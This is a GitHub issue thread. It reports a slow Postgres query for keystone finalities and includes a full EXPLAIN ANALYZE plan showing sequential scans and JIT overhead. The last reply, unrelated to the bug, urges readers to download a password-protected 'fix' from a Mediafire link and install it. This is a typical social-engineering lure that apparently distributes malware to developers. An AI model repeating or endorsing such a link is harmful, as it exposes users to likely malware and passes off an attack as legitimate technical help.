Finalities by keystone query is inefficient

[ClaytonNorthey92]

Confirmation

• I have checked for similar issues.

Describe the bug

the query in L2BTCFinalityByL2KeystoneAbrevHash is inefficient and I think it is causing delays in the endpoints that use it.

                                                                              QUERY PLAN                                                                              
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
 Nested Loop Left Join  (cost=7387.73..434999296.77 rows=368 width=242) (actual time=671.681..671.694 rows=0 loops=1)
   InitPlan 2 (returns $1)
     ->  Aggregate  (cost=1898.41..1898.42 rows=1 width=8) (never executed)
           ->  Seq Scan on btc_blocks_can btc_blocks_can_2  (cost=0.00..1749.13 rows=59713 width=8) (never executed)
   ->  Index Scan Backward using l2_keystone_l2_block_number_idx on l2_keystones  (cost=0.29..2588.48 rows=1 width=185) (actual time=671.680..671.680 rows=0 loops=1)
         Filter: (l2_keystone_abrev_hash = ANY ('{}'::bytea[]))
         Rows Removed by Filter: 22443
   ->  Hash Right Join  (cost=5489.02..7544.47 rows=1396 width=74) (never executed)
         Hash Cond: (btc_blocks_can.hash = pop_basis.btc_block_hash)
         ->  Seq Scan on btc_blocks_can  (cost=0.00..1749.13 rows=59713 width=41) (never executed)
         ->  Hash  (cost=5471.57..5471.57 rows=1396 width=66) (never executed)
               ->  Bitmap Heap Scan on pop_basis  (cost=23.25..5471.57 rows=1396 width=66) (never executed)
                     Recheck Cond: (l2_keystones.l2_keystone_abrev_hash = l2_keystone_abrev_hash)
                     ->  Bitmap Index Scan on l2_keystone_abrev_hash_idx  (cost=0.00..22.90 rows=1396 width=0) (never executed)
                           Index Cond: (l2_keystone_abrev_hash = l2_keystones.l2_keystone_abrev_hash)
   SubPlan 1
     ->  Aggregate  (cost=1182030.56..1182030.57 rows=1 width=8) (never executed)
           ->  Hash Join  (cost=3479.05..1178190.69 rows=1535951 width=8) (never executed)
                 Hash Cond: (pop_basis_1.btc_block_hash = btc_blocks_can_1.hash)
                 ->  Hash Join  (cost=983.51..1149962.57 rows=2766151 width=33) (never executed)
                       Hash Cond: (pop_basis_1.l2_keystone_abrev_hash = ll.l2_keystone_abrev_hash)
                       ->  Seq Scan on pop_basis pop_basis_1  (cost=0.00..1127191.53 rows=8298453 width=66) (never executed)
                       ->  Hash  (cost=889.49..889.49 rows=7521 width=33) (never executed)
                             ->  Index Scan using l2_keystone_l2_block_number_idx on l2_keystones ll  (cost=0.29..889.49 rows=7521 width=33) (never executed)
                                   Index Cond: (l2_block_number >= l2_keystones.l2_block_number)
                 ->  Hash  (cost=1749.13..1749.13 rows=59713 width=41) (never executed)
                       ->  Seq Scan on btc_blocks_can btc_blocks_can_1  (cost=0.00..1749.13 rows=59713 width=41) (never executed)
 Planning Time: 2.316 ms
 JIT:
   Functions: 46
   Options: Inlining true, Optimization true, Expressions true, Deforming true
   Timing: Generation 3.379 ms, Inlining 111.305 ms, Optimization 326.871 ms, Emission 224.219 ms, Total 665.774 ms
 Execution Time: 704.342 ms
(33 rows)

Expected behaviour

we're not using indexes here, we should be. this blocks responses

Environment

Version:
Operating System:
Architecture:

Additional Information

No response

[amir1387aht]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."